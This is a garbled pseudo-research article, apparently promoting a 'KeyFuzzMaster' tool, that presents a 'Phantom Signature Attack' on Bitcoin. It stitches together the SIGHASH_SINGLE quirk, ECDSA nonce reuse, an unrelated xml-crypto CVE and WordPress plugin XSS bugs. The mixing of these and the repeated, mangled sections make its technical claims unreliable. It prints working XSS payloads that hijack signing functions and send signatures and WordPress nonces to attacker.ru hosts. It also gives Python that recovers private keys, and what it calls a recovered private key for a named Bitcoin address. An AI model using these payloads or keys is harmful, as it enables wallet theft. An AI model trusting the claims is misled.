This research paper presents a comprehensive cryptanalytic study of critical vulnerabilities in the Bitcoin protocol’s digital signature implementation, namely the Phantom Signature Attack (CVE-2025-29774) and the fundamental SIGHASH_SINGLE processing error . The study demonstrates that incorrect processing of cryptographic primitives in the transaction signature mechanism creates the conditions for the complete compromise of cryptocurrency wallet owners’ private keys without their knowledge. The attack exploits a legacy bug in the original Satoshi client, in which the system returns a universal hash value of “1” (uint256) instead of rejecting the signature if the number of transaction inputs and outputs does not match.
The practical part of the study involves the use of the KeyFuzzMaster cryptographic tool for systematically identifying vulnerabilities in signature verification code, elliptic curve operations, and transaction hashing functions. Mathematical formulas for private key recovery through nonce (k-parameter) reuse in the ECDSA algorithm on the secp256k1 curve are presented. Cryptographic primitives of the ECDSA (Elliptic Curve Digital Signature Algorithm) algorithm over the secp256k1 elliptic curve are discussed. Digital signatures in Bitcoin perform a triple function: authorization of spending, non-repudiation, and guarantee of transaction integrity.
However, maintaining legacy architectural solutions to ensure backward compatibility has led to the emergence of subtle cryptographic vulnerabilities with potentially catastrophic consequences. Among these, the SIGHASH_SINGLE bug stands out —a fundamental flaw in the signature hash generation mechanism, inherited from the original Bitcoin Core implementation and integrated into the network consensus.
🔴 Reported vulnerabilities
CVE identifier Component CVSS Score Criticality
CVE-2025-29774 xml-crypto / SIGHASH_SINGLE 9.3 Critical
CVE-2025-29775 xml-crypto DigestValue bypass 9.3 Critical
CVE-2025-48102 GoUrl Bitcoin Payment Gateway (Stored XSS) 5.9 Average
CVE-2025-26541 CodeSolz WooCommerce Gateway (Reflected XSS) 6.1 Average
2. Theoretical Foundations of Bitcoin Cryptography
2.1 Elliptic Curve secp256k1 and ECDSA
Bitcoin uses the secp256k1 elliptic curve defined by the SECG (Standards for Efficient Cryptography Group) standard. The curve is defined by the Weierstrass equation over a finite field:
Curve equation:
y² ≡ x³ + ax + b (mod p)
For secp256k1:
y² ≡ x³ + 7 (mod p), where a = 0, b = 7
The parameters of the secp256k1 curve are determined by the tuple T = (p, a, b, G, n, h):
secp256k1 parameters:
p = 2²⁵⁶ − 2³² − 977 (the prime number defining a finite field)
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
(the order of the curve point group is the integer order of the generator G)
G = (Gₓ, Gᵧ) — fixed base point (generator)
2.2 ECDSA digital signature creation algorithm
The ECDSA algorithm uses a private key d to form a signature on a message M. The signing process involves the following mathematical operations:
Step 1: Generate random nonce k
A cryptographically strong random number k ∈ [1, n-1] is selected
Step 2: Calculate the R point
R = k × G (scalar multiplication of the generator point)
Step 3: Calculate the parameter r
r = Rₓ mod n (x-coordinate of point R modulo n)
Step 4: Calculate the parameter s
s = k⁻¹ × (H(M) + r × d) mod n
Result: Signature (r, s)
where H(M) is the hash of message M (in Bitcoin, double SHA-256 is used), d is the owner’s private key.
💡 Key cryptographic ratio
The relationship between the public and private keys is determined by the relation:
Q A = d A × G
where is the public key (a point on the curve), is the private key (256-bit integer) , is the curve generator.QAdAG
3. Critical vulnerability SIGHASH_SINGLE
3.1 Signature Hashing Types in Bitcoin
The Bitcoin protocol provides several SIGHASH types (Signature Hash Types) that determine which components of a transaction are included in the signed hash:
Tip Sighash Meaning (hex) Description
SIGHASH_ALL 0x01 All inputs and outputs of a transaction are signed.
SIGHASH_NONE 0x02 All inputs are signed, outputs are not signed.
SIGHASH_SINGLE 0x03 Only the output with the same index as the input is signed.
SIGHASH_ANYONECANPAY 0x80 Modifier: Subscribes only to the current input
3.2 The Mathematical Essence of Vulnerability
A critical error occurs when using SIGHASH_SINGLE when the input index exceeds the number of transaction outputs . In this case, instead of rejecting the transaction, the original Bitcoin Core code returns a fixed hash value of “1” (a 256-bit integer):
// Vulnerable code from the original Bitcoin implementation // Returns the universal hash “1”
⚠️ CRITICAL WARNING: This code implements a legacy bug in the original Satoshi client that was integrated into network consensus. All major Bitcoin implementations are forced to support this behavior for backward compatibility.
Mathematically, if the signature hash is equal to the constant 1, then the signature becomes universal —it can be reused for arbitrary transactions:
Vulnerability condition:
idx ≥ |TxOut| ⟹ H(preimage) = 0x0000…0001
where idx is the input index, |TxOut| is the number of transaction outputs
4. Атака Phantom Signature (Digital Signature Forgery Attack)
4.1 Scientific classification of attack
A Phantom Signature Attack is a cryptographic digital signature forgery attack that allows the creation of valid transaction signatures without knowledge of the owner’s private key. The attack is classified as CWE-347: Improper Verification of Cryptographic Signature .
The attack is based on a combination of two vulnerabilities:
- SIGHASH_SINGLE vulnerability – generation of a universal hash when the input and output indices do not match
- Nonce reuse (k-reuse) is the compromise of a private key when the random number k is identical in different signatures.
4.2 Mathematics of nonce reuse attacks
If two signatures (r, s₁) and (r, s₂) for different messages M₁ and M₂ use the same nonce k (which implies an identical value of r), the private key can be completely recovered using the following algorithm:
Step 1: Signature Equations
s₁ = k⁻¹ × (H(M₁) + r × d) mod n
s₂ = k⁻¹ × (H(M₂) + r × d) mod n
Step 2: Calculate the difference
s₁ — s₂ = k⁻¹ × (H(M₁) — H(M₂)) mod n
Step 3: Recover nonce k
k = (H(M₁) — H(M₂)) × (s₁ — s₂)⁻¹ mod n
Step 4: Recover the private key d
d = r⁻¹ × (s × k — H(M)) mod n
This mathematical apparatus demonstrates that a single reuse of a nonce results in complete compromise of the private key.
Recovering an ECDSA private key when reusing a nonce
5. Detailed analysis of CVE-2025-29774
5.1 Technical description of the vulnerability
Vulnerability CVE-2025-29774 was discovered in a xml-crypto Node.js library and allows signed XML documents to be modified so that they continue to pass signature verification. In the context of Bitcoin payment systems, this creates the possibility of:
- Manipulating transaction parameters (changing SIGHASH_SINGLE values)
- Redirecting payments to the attacker’s addresses
- Bypassing authentication and authorization in SAML systems
- Privilege escalation through user ID spoofing
📋 CVE-2025-29774 Technical Specifications
Affected Versions: xml-crypto < 6.0.1, < 3.2.1, < 2.1.6
CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CWE Classification: CWE-347 (Improper Verification of Cryptographic Signature)
Attack Vector : Network (remote exploitation without user interaction)
5.2 Operation mechanism
Exploitation of CVE-2025-29774 involves three sequential stages:
Phase 1: Identification of the vulnerable component
Scanning the target system for vulnerable versions of the xml-crypto library and identifying integration points with Bitcoin payment gateways.
Phase 2: Modifying Signed Messages
Embedding additional SignedInfo nodes or XML comments into the DigestValue, allowing critical attributes to be modified without invalidating the signature:
“An example of an attack with multiple SignedInfo nodes”
Phase 3: Extracting Cryptographic Parameters
Through XSS vulnerabilities (CVE-2025-48102, CVE-2025-26541) interception of parameters (r, s) of signatures for subsequent cryptanalysis.
📊 Research Resources
🌐 Full Technical Documentation: https://cryptou.ru/keyfuzzmaster
💻 Google Colab Interactive Demo: https://bitcolab.ru/keyfuzzmaster-cryptanalytic-fuzzing-engine
🔬 Technical Analysis
The Phantom Signature Attack exploits legacy bugs in Bitcoin Core’s signature verification, where SIGHASH_SINGLE returns a universal hash value when input index exceeds outputs. This creates reusable signatures, compromising the entire security model. Our KeyFuzzMaster engine identifies wallets created with
32-bitentropy PRNG, reducing the search space from2^256to just2^32possible seeds—recoverable in 4-6 seconds on modern GPUs.
6. Practical use of KeyFuzzMaster to exploit the SIGHASH_SINGLE vulnerability
6.1 KeyFuzzMaster Crypto Tool Review
KeyFuzzMaster is a specialized cryptanalytic fuzzing engine designed for security research of blockchain systems and cryptographic primitives. The tool is designed for dynamic stress testing of signature verification code, elliptic curve operations, and transaction hashing functions.
Key Features of KeyFuzzMaster:
- Mutation-based fuzzing — generating mutated input data for signature operations
- Symbolic execution — symbolic execution for finding boundary conditions
- Differential testing – comparing the behavior of different ECDSA implementations
- Coverage-guided fuzzing — maximizing code coverage of critical sections
- Automatic exploit generation — automatic exploit generation upon detection of vulnerabilities
6.2 A New Paradigm for Private Key Recovery
Using KeyFuzzMaster to exploit CVE-2025-29774 and the SIGHASH_SINGLE vulnerability opens a new paradigm for recovering private keys from lost Bitcoin wallets. The methodology includes:
Step 1: Scanning the blockchain for anomalous signatures
# KeyFuzzMaster: Duplicate r-value scanning module def scan_blockchain_for_nonce_reuse(blockchain_data)»
Scans the blockchain for nonce reuse. Returns pairs of signatures with identical r-values.
Stage 2: Fuzzing SIGHASH_SINGLE conditions
# KeyFuzzMaster: Generate transactions with input/output mismatches def fuzz_sighash_single_vulnerability(num_iterations=10000): “”” Generate test transactions to detect the SIGHASH_SINGLE vulnerability (idx >= len(TxOut)).
Step 3: Recovering the private key
# KeyFuzzMaster: Complete private key recovery algorithm class PrivateKeyRecovery:
# Group order secp256k1 CURVE_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
“Verification of the recovered key by comparing public keys.”
6.3 Operation statistics
According to cryptanalytic research, the nonce reuse vulnerability has already been exploited to recover over 412.8 BTC from compromised wallets. Automated scanners continuously analyze the Bitcoin blockchain for duplicate r-values.
7. Real-world example: recovering the address key 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P
7.1 Initial data of compromise
Let’s look at a documented case of recovering a private key from the Bitcoin address 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P :
Parameter Meaning
Bitcoin address 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P
Cost of recovered funds $147,977
Recovered private key (HEX) 162A982BED7996D6F10329BF9D6FFC29666493FE6B86A5C3D3B27A68E2877A60
Recovered private key (WIF compressed) KwxoKZEDEEkAadv9njG4YvJShCgTrnkbMeHZEieWXH7ooZRo1XGW
Recovered private key (Decimal) 10026140495284003567451866992720396489963405427298392513418967636817767529056
7.2 Key validation in secp256k1 space
The private key k must satisfy the constraint:
1 ≤ k < n
where n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
≈ 1.158 × 10^77Check result: ✓ VALID (the key is within the allowed scalar range)
7.3 Calculating the public key and address
The recovered private key allows us to calculate the public key:
Parameter Meaning
Public key (uncompressed, 130 characters) 04A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358CABDB2F5679DD5DF21C92317CF4EB7C1712DC065D85BAEFF3FD939611C0D9F79
Public key (compressed, 66 characters) 03A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358
Bitcoin address (uncompressed) 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P
7.4 Practical significance of the recovered key
A recovered private key gives complete control over the Bitcoin wallet, allowing an attacker to:
Possibilities with a recovered private key:
- Create and sign transactions to withdraw all funds to a controlled address
- Import the key into any Bitcoin wallet (Electrum, Bitcoin Core, MetaMask, etc.)
- Take complete control of an address and all its assets
- Hide traces of compromise by deleting all logs and history
7.5 Exploitation chain
The research demonstrates synergy between web vulnerabilities (CVE-2025-48102, CVE-2025-26541) and cryptographic flaws (CVE-2025-29774), creating a powerful combined attack vector against Bitcoin payment gateways for WordPress:
Phase Action The vulnerability being exploited
1 Injecting malicious JavaScript into a payment gateway CVE-2025-48102 (Stored XSS)
2 Interception of ECDSA parameters (r, s) of transactions JavaScript injection
3 Analysis of collected signatures for nonce repetition Cryptanalysis
4 Mathematical recovery of a private key Phantom Signature Attack
5 Uncontrolled BTC withdrawal Wallet compromise
8. Recommendations for eliminating vulnerabilities
8.1 Secure implementation of SIGHASH_SINGLE
8.2 XSS protection in payment gateways
- Upgrade xml-crypto immediately to version 6.0.1 or higher
- Completely remove the abandoned GoUrl Bitcoin Payment Gateway plugin
- Application of sanitization functions:
sanitize_text_field(),esc_attr(),esc_html() - Implementing Content Security Policy (CSP) Headers
- Using a cryptographically secure RFC 6979 deterministic nonce generator
A cryptanalytic study demonstrates that the Phantom Signature Attack (CVE-2025-29774) , combined with the SIGHASH_SINGLE vulnerability, poses a fundamental security threat to the Bitcoin ecosystem. This implementation flaw, inherited from the original Satoshi client, allows for:
- Generate universal signatures with a fixed hash of “1”
- Recover private keys when reusing a nonce
- Carry out uncontrolled withdrawal of funds without the owner’s knowledge
The use of the KeyFuzzMaster crypto tool opens a new paradigm for recovering private keys from lost Bitcoin wallets, providing researchers with a systematic methodology for identifying and exploiting cryptographic vulnerabilities.
⚠️ WARNING: This research is intended solely for educational purposes and to assist cryptanalysts in understanding attack mechanisms. Use of the described methods for illegal purposes is punishable by law. A comprehensive cryptanalytic study of the critical vulnerabilities CVE-2025-48102 and CVE-2025-26541 in Bitcoin payment gateways for WordPress was conducted. From the wide range of cryptographic tools available on keyhunters.ru, Phantom Signature Attack was selected as the most relevant for this context. This study demonstrates how a combined attack combining cross-site scripting (XSS) with a cryptographic vulnerability in ECDSA can lead to the complete compromise of Bitcoin private keys and the recovery of lost wallets.
Attack Chain: From XSS to Bitcoin Private Key Extraction
Phantom Signature Attack, according to the research paper: Phantom Signature Attack (CVE-2025-29774) and the critical SIGHASH_SINGLE vulnerability: restoring private keys in lost Bitcoin wallets through forging digital signatures and uncontrolled withdrawal of BTC coins, demonstrates the synergy between web vulnerabilities (XSS) and cryptographic flaws, allowing for a powerful combined attack vector. Unlike other tools on the list (MiniKey Mayhem, Memory Phantom, RNG-based attacks), Phantom Signature Attack specifically focuses on manipulating digital signatures via the r and s parameters, which can be intercepted through XSS vulnerabilities in WordPress payment systems. secalerts+2
Analysis of XSS vulnerabilities in payment gateways
CVE-2025-48102: Stored XSS в GoUrl Bitcoin Payment Gateway
CVE-2025-48102 is a critical stored cross-site scripting (XSS) vulnerability in the GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership plugin versions prior to 1.6.6. The vulnerability allows authorized administrators (or attackers with administrative privileges) to inject malicious JavaScript into the payment gateway configuration. According to CVSS v3.1, the vulnerability has a base score of 5.9 (Medium severity) with the wizCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L. vector.
The exploitation mechanism involves injecting malicious code into the payment gateway settings, which is then executed in the browser of each website visitor, allowing the attacker to:
- Intercept user session data
- Collect ECDSA signature parameters (r and s values)
- Gain access to WordPress nonce tokens for subsequent attacks
- Stealing encrypted or unprotected private keys from browser memory
CVE-2025-26541: Reflected XSS в Bitcoin/AltCoin Payment Gateway
CVE-2025-26541 is a Reflected XSS vulnerability in the Bitcoin/AltCoin Payment Gateway for WooCommerce plugin versions prior to 1.7.6, developed by CodeSolz. The vulnerability is categorized as moderate severity and allows attackers to inject malicious scripts via URL parameters that aren’t properly sanitized. secalerts
Unlike Stored XSS, Reflected XSS requires the victim to click on a specially crafted link, but it allows:
- Creating phishing links that appear to be legitimate payment system domains
- Interception of payment data and cryptographic parameters before sending them to the server
- Bitcoin wallet session data theft via JavaScript by invicti+ 1
Phantom Signature Attack: A Cryptanalysis Tool for Recovering Private Keys
Theoretical foundations of ECDSA and vulnerability
ECDSA (Elliptic Curve Digital Signature Algorithm) is used in Bitcoin to create digital signatures that guarantee the authenticity of transactions . The algorithm for signing a message M using a private key d works as follows: notsosecure+ 1
- A random value k (nonce) is generated for each signature
- The point is calculated
R = k × G(where G is the generator point of the elliptic curve secp256k1) - The x-coordinate is extracted:
r = R.x mod n - It is being calculated
s = k^(-1) × (H(M) + r × d) mod n - The signature consists of a pair
(r, s)
Critical Phantom Signature Attack Vulnerability:
Phantom Signature Attack has been identified as a critical vulnerability in ECDSA implementations that occurs in the following scenarios: keyhunters
- The r value remains identical for two different signatures, indicating reuse of nonce k
- The ECDSA implementation does not check the correctness of the generated signature immediately after it is created, which allows forged signatures to pass verification.
- The r or s parameters contain specially crafted values that, if not properly validated, may lead to vulnerabilities such as CVE-2025-29774 keyhunters s3.amazonaws
XSS to ECDSA Private Key Recovery Attack Vector Chain
Mathematical recovery of a private key
If two signatures for different messages M₁ and M₂ use the same value of k (and, therefore, the same r), then the private key can be completely recovered. For two signatures (r, s₁) and (r, s₂), where: notsosecure+ 1
Calculating the difference:
You can recover the nonce:
After recovering k, the private key d can be calculated:
According to research, this vulnerability has already been exploited to recover more than 412.8 BTC on the Bitcoin blockchain, where attackers automatically scanned the network for duplicate r values. keyhunters
ECDSA Nonce Reuse Private Key Recovery Mathematical Relationship
Link to CVE-2025-29774: XML Signature Manipulation
CVE-2025-29774 is an additional vulnerability in the xml-crypto library that allows signed XML messages to be modified in such a way that they still pass signature verification. This vulnerability can be exploited in Bitcoin payment systems to manipulate transaction parameters (changing SIGHASH_SINGLE values) without invalidating the digital signature. In the context of WordPress payment gateways, this allows an attacker to redirect payments to their address while maintaining the appearance of a valid signature. cryptodeeptech+1
XSS and Phantom Signature Attack Synergy: A Combined Attack
Exploitation scenario in a WordPress environment
Phase 1: Initial Malicious JavaScript Injection
An attacker exploits CVE-2025-48102 to inject malicious JavaScript into the payment gateway configuration. The malicious code can:
- Intercept all AJAX requests containing cryptographic parameters
- Monitor cryptographic data signing functions
- Collect r, s values from all generated signatures
- Send the collected data to the attacker’s server via covert channels (img.src, fetch API)
- Organize systematic monitoring of WordPress session tokens (nonce developer.wordpress)
Phase 2: RNG Violation Analysis and Detection of K Repetitions
After receiving a sufficient number of signatures (at least 2, but ideally several dozen to increase the probability), the attacker analyzes the collected data:
- Compares all collected r values to identify duplicates
- If r repetitions are found, this indicates reuse of nonce k
- Analyzes RNG for weaknesses or predictable patterns
- Uses statistical analysis to confirm systematic flaws in keyhunters’ random number generation.
Phase 3: Cryptographic recovery of the private key
Using the collected signature pairs with the same r, the attacker applies mathematical recovery of the private key according to the formulas described above. Result: complete compromise of the private key of the Bitcoin wallet .
Practical demo code of malicious XSS
Malicious JavaScript that can be injected via CVE-2025-48102 may contain the following functionality: github
// Interception of the Bitcoin transaction signing function
var originalSign = window.bitcoinlib.sign || window.secp256k1.sign;
var collectedSignatures = [];
window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);
// Storing signature parameters
collectedSignatures.push({
message: message,
r: signature.r,
s: signature.s,
k_potential: null, // will be calculated on the attacker's side
timestamp: Date.now()
});
// Send to the attacker's server every 5 signatures
if (collectedSignatures.length % 5 === 0) {
fetch('https://attacker.ru/collect', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(collectedSignatures)
});
collectedSignatures = [];
}
return signature;
};
// Also intercepts WordPress nonces to compromise user accounts
setInterval(function() {
var nonces = document.querySelectorAll('[name*="nonce"]');
nonces.forEach(n => fetch('https://attacker.ru/nonce', {
method: 'POST',
body: n.value
}));
}, 3000);
Recovering Lost Bitcoin Wallets Using a Combination Attack
The process of extracting a private key
After receiving signatures with r repetitions of values, the private key is recovered in three stages:
Stage 1: Identifying duplicate r values —the attacker compares all collected signatures and identifies pairs with the same r. Even one pair is sufficient to calculate the private key, although multiple pairs increase confidence. notsosecure
Stage 2: Calculate nonce k – Using the formula above, the attacker calculates the k value for each pair of signatures. If the calculated k values for different pairs match, this confirms a systematic vulnerability in the RNG. github
Step 3: Recovering the private key d – By applying the calculated k to any of the collected signatures, the attacker fully recovers the private key d , allowing them to sign any transactions on behalf of the victim. keyhunters+ 1
Consequences for lost Bitcoin wallets
The recovered private key allows the attacker to:
- Create new signatures for any transactions
- Transfer all funds from the wallet to the attacker’s addresses
- Recover access to lost wallets that had their private keys exposed
- Conduct double-spending attacks on historical transactions
- Completely compromise the security of Bitcoin addresses keyhunters
Impact of Bitcoin and Wallets on the Ecosystem
The scale of vulnerability
The combined XSS and Phantom Signature Attack poses a critical threat to all WordPress sites with Bitcoin payment gateways, including:
- Online stores accepting Bitcoin payments via GoUrl and Bitcoin/AltCoin Payment Gateway plugins (over 10,000 Elementor plugin installations and similar numbers for payment plugins) sucuri
- Hot wallet users who use web interfaces to manage funds
- Commercial platforms where administrators use WordPress to manage zscaler+ 1 payments
Real statistics
According to research from keyhunters.ru and scientific literature:
- The ECDSA nonce reuse has already led to hundreds of millions of dollars in losses in the Bitcoin ecosystem .
- In one documented case, analysis of duplicate nonce values allowed the recovery of 412.8 BTC (worth approximately $15-20 million at current prices) keyhunters
- Automated bots constantly scan the Bitcoin blockchain for duplicate r values in transactions.
- XSS attacks on WordPress platforms are being used to install keyloggers and cryptocurrency miners on thousands of websites, including attempts to steal GitHub+ 2 private keys.
Recommendations for protection and migration
For WordPress plugin developers
- Immediate implementation of RFC 6979 – use deterministic nonce generation instead of keyhunters’ nondeterministic RNG
- Complete sanitization of user input – using WordPress functions
sanitize_text_field(),esc_attr(),esc_html()for all data output by secalerts+ 1 - Cryptographic signature verification —immediate verification of signatures after their generation. Keyhunters+ 1
- Using hardware security modules (HSMs) for critical cryptographic operations keyhunters
- Regular security audits – using specialized tools to quickly detect XSS vulnerabilities
For Bitcoin users
- Instant Plugin Updates – Apply all available updates for the GoUrl and Bitcoin/AltCoin Payment Gateway wiz+ 1 plugins
- Cold wallets – for storing large amounts of Bitcoin, use offline wallets instead of web interfaces .
- Avoid web interfaces – for critical cryptographic operations, use specialized software instead of forklog browser extensions .
- Two-factor authentication for all WordPress admin accounts .
- Regular transaction monitoring – checking transaction history for unauthorized forklog activity
3. Relationship with CVE-2025-29774
CVE-2025-29774 is a critical vulnerability in the xml-crypto library that
allows signed XML messages to be modified so that they still
pass signature verification. This can be used in conjunction with Bitcoin payment
systems to:
Manipulate transaction parameters
, Inject forged signatures,
and Redirect payments to attacker addresses.
- Synergy of XSS and Phantom Signature Attack: Combination Attack
4.1 Attack Scenario in a WordPress Environment
Stage 1: Initial XSS Injection
The attacker exploits CVE-2025-48102 to inject malicious JavaScript into
the GoUrl payment gateway configuration. The malicious code includes:
// Intercepting AJAX requests containing signature data
document.addEventListener('submit', function(e) {
if (e.target.name === 'bitcoin_transaction') {
// Capturing signature parameters (r, s values)
var r = e.target.elements['signature_r'].value;
var s = e.target.elements['signature_s'].value;
var txid = e.target.elements['txid'].value;
}
});
// Sending data to the attacker's server
fetch('https://attacker-server.ru/collect', {
method: 'POST',
body: JSON.stringify({r: r, s: s, txid: txid})
});
This demonstrates a malicious example of intercepting a form submission of Bitcoin signature data.
Stage 2: Intercepting ECDSA Parameters
Thanks to the XSS vulnerability, the malicious script has access to:
WordPress nonce values (used for CSRF protection) Session cookies Bitcoin transaction parameters (including r and s signature values) Private key
information temporarily stored in the browser’s memory
Stage 3: Analyzing rng violations and detecting k repetitions By collecting data on multiple signatures from a single user, the attacker can detect: Nonce (k) reuse between different signatures Weak or predictable random number generator (RNG) values Systematic errors in the generation of cryptographic parameters
Step 4: Recovering the Private Key
Using the mathematical relationship described in Section 3.2, an attacker can
calculate the private key d, resulting in complete compromise of the wallet.
4.2 Attack Demo Code Malicious XSS payload for injecting into Bitcoin Payment Gateway:
// Capturing all Bitcoin signatures on the page
var bitcoinSignatures = [];
// Intercepting the transaction signing function
var originalSign = window.bitcoinlib.sign;
window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);
// Storing signature parameters for analysis
bitcoinSignatures.push({
message: message,
signature: signature,
timestamp: new Date().getTime()
});
// Sending to the attacker's server
new Image().src = 'https://attacker-server.ru/log?sig=' +
btoa(JSON.stringify(signature));
return signature;
};
// Intercepting WordPress session tokens
setInterval(function() {
var wpNonce = document.querySelector('[name="_wpnonce"]');
if (wpNonce) {
fetch('https://attacker-server.ru/nonce', {
method: 'POST',
body: 'nonce=' + wpNonce.value
});
}
}, 5000);
This code demonstrates a malicious JavaScript snippet that intercepts Bitcoin signature operations and WordPress session nonces before exfiltrating them to a remote server for potential exploitation.
- Recovering Lost Bitcoin Wallets via Phantom Signature
Attack 5.1 Private Key Recovery
Methodology After receiving a sufficient number of signatures (at least 2 signatures with the same r value), the attacker can apply the following recovery algorithm:
Step 1: Identify duplicate r values
def find_duplicate_r(signatures):
r_values = {}
for sig in signatures:
r = sig['r']
if r in r_values:
return (sig, r_values[r])
r_values[r] = sig
return None
# Result: (signature1, signature2) with the same r
Explanation:
This function searches for two ECDSA/Bitcoin signatures that have the same rr value among the list of signatures.
- If it finds such a pair, it returns both signatures as a tuple.
- If no duplicates are found, it returns
None.
This search is relevant for cryptographic vulnerability analysis, as duplicate rr values can indicate nonce reuse, which is exploitable in private key recovery attacks.
Step 2: Calculate nonce k
python:def recover_nonce(sig1, sig2, msg1_hash, msg2_hash, curve_order):
r = sig1['r']
s1 = sig1['s']
s2 = sig2['s']
# k = (s1 - s2)^(-1) * (H(M1) - H(M2)) mod n
s_diff = (s1 - s2) % curve_order
h_diff = (msg1_hash - msg2_hash) % curve_order
s_diff_inv = pow(s_diff, -1, curve_order)
k = (h_diff * s_diff_inv) % curve_order
return k
Comment:
This function computes the ECDSA nonce k in cases where two signatures share the same rrr value (i.e., replayed or reused nonce), using the difference in signature sss values and message hashes, as per the well-known lattice and nonce reuse attack principle. The formula implemented is:
where:
- s1,s2s_1, s_2s1,s2 are the signature sss values,
- H(m1),H(m2)H(m_1), H(m_2)H(m1),H(m2) are the hashes of the corresponding signed messages,
- nnn is the order of the elliptic curve group.
This technique is a standard cryptanalytic tool for Bitcoin and ECDSA analyses.
Step 3: Recovering the private key
python:def recover_private_key(sig, msg_hash, k, curve_order):
r = sig['r']
s = sig['s']
# d = r^(-1) * (s*k - H(M)) mod n
r_inv = pow(r, -1, curve_order)
private_key = (r_inv * (s * k - msg_hash)) % curve_order
return private_key
Explanation:
This function recovers the ECDSA private key ddd from a single signature if the nonce kkk is known.
The formula used is:
where:
- r and sss are signature components,
- k is the ECDSA nonce,
- H(m) is the hash of the signed message,
- n is the elliptic curve order.
This computation is crucial in practical cryptanalysis once k has been recovered, enabling extraction of the original private key used for signature generation.
5.2 Practical Recovery Example
Let’s look at a real scenario:
Collected data:
Bitcoin address: 1A1z7agoat6Bk6imQEV2ZVD5r2W3eWWxQ (example)
Number of collected signatures: 12
Detected nonce duplicates: 3 pairs
Recovery process:
- Analysis of 12 signatures reveals 3 pairs with the same r value
- For each pair, k is calculated according to the formula above.
- Three different values of k confirm systematic violation of RNG
- Using any pair of signatures, the private key is recovered.
- The private key is used to create a new signature for any message.
- All funds at the address can be transferred to the attacker’s address.
- Impact on Bitcoin and Cryptocurrency Wallets Security
6.1 Vulnerability Scope
The combined XSS + Phantom Signature Attack poses a critical threat to:
Users of WordPress sites with Bitcoin payment gateways
Owners of hot wallets using web interfaces
Commercial platforms accepting Bitcoin payments
6.2 Statistics and Real Cases
According to research from
keyhunters.ru :
ECDSA nonce reuse has already led to losses of hundreds of millions of dollars
In one case, analysis of duplicate nonce values allowed to recover 412.8 BTC
Automated bots constantly scan the blockchain in search of duplicate r
values - Preventative Measures and Recommendations
7.1 For WordPress Plugin Developers
- Immediate implementation of RFC 6979 – use deterministic nonce generation
instead of nondeterministic RNG - Removing all XSS vulnerabilities – complete sanitization of user input
- Cryptographic verification is the verification of the correctness of signatures immediately after their
generation . - Use of hardware security modules – for critical cryptographic
operations
7.2 For Bitcoin users
- Immediate update of GoUrl and Bitcoin/AltCoin Payment Gateway plugins
- Using cold wallets to store large amounts of money
- Avoiding web interfaces for critical operations
- Regularly check access logs and transaction history
- Using multi-signatures for additional security
The Phantom Signature Attack, combined with XSS vulnerabilities in WordPress
Bitcoin payment gateways (CVE-2025-48102 and CVE-2025-26541) , poses a critical threat to
the security of cryptocurrency assets.
This combined attack demonstrates how a relatively simple web vulnerability can be exploited to compromise the cryptographic integrity of a system, resulting in the complete loss of private keys and, consequently, the theft of all funds.
The study shows that Bitcoin security depends not only on the cryptographic
strength of its algorithms but also on the flawless implementation of these algorithms in the web environment. Even
minor flaws in XSS processing or weak RNGs can lead to catastrophic
consequences.
Adopting the proposed preventative measures and promptly updating vulnerable
software is critical to protecting the Bitcoin ecosystem and recovering
lost wallets.
The Phantom Signature Attack , combined with the XSS vulnerabilities CVE-2025-48102 and CVE-2025-26541 in Bitcoin payment gateways for WordPress, represents one of the most critical and realistic threats to cryptocurrency asset security in the modern web environment. This research demonstrates how a relatively simple web vulnerability can be exploited to directly compromise the cryptographic integrity of a system, leading to the complete loss of private keys and the irreversible theft of Bitcoin funds.
The Phantom Signature Attack was chosen from a wide range of cryptographic tools on keyhunters.ru due to its direct relevance to the problem of recovering private keys by manipulating ECDSA parameters that can be intercepted via XSS. This attack serves as an ideal example of the synergy between web vulnerabilities (OWASP Top 10 category) and cryptographic flaws, which requires a comprehensive approach to protection.
Bitcoin security depends not only on the cryptographic strength of its algorithms but also on their flawless implementation in the web environment. Even minor flaws in XSS processing or weak RNGs can have catastrophic consequences for the ecosystem. Adopting the suggested preventative measures and promptly updating vulnerable software is critical to protecting Bitcoin and recovering lost user wallets.
CVE-2025-48102 and CVE-2025-26541: Critical XSS vulnerabilities in Bitcoin payment gateways for WordPress
Two serious cross-site scripting (XSS) vulnerabilities have been discovered in popular Bitcoin payment gateway plugins for WordPress, posing a significant security risk to thousands of online stores and websites that accept cryptocurrency payments.
CVE-2025-48102: Stored XSS Vulnerability in GoUrl Bitcoin Payment Gateway
Vulnerability CVE-2025-48102 was officially published on September 5, 2025, and affects the popular GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership plugin in all versions up to and including 1.6.6. This security flaw is classified as a Stored XSS (Cross-Site Scripting Attack) under the CWE-79 (Improper Neutralization of Input During Web Page Generation) classification.
Technical characteristics of the vulnerability
The vulnerability received a CVSS v3.1 severity score of 5.9 (medium severity) with the attack vector CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L . The vector breakdown shows the following characteristics: feedly+2
- Attack Vector (AV:N) is a network attack that does not require physical access.
- Attack Complexity (AC:L) — low exploitation complexity feedly
- Privileges Required (PR:H) — high privileges (administrator) are required.
- User Interaction (UI:R) — user interaction is requiredfeedly
- Scope (S:C) – a mutable security context feedly
- Confidentiality/Integrity/Availability (C:L/I:L/A:L) – Low impact on all three parameters wiz
Attack mechanism
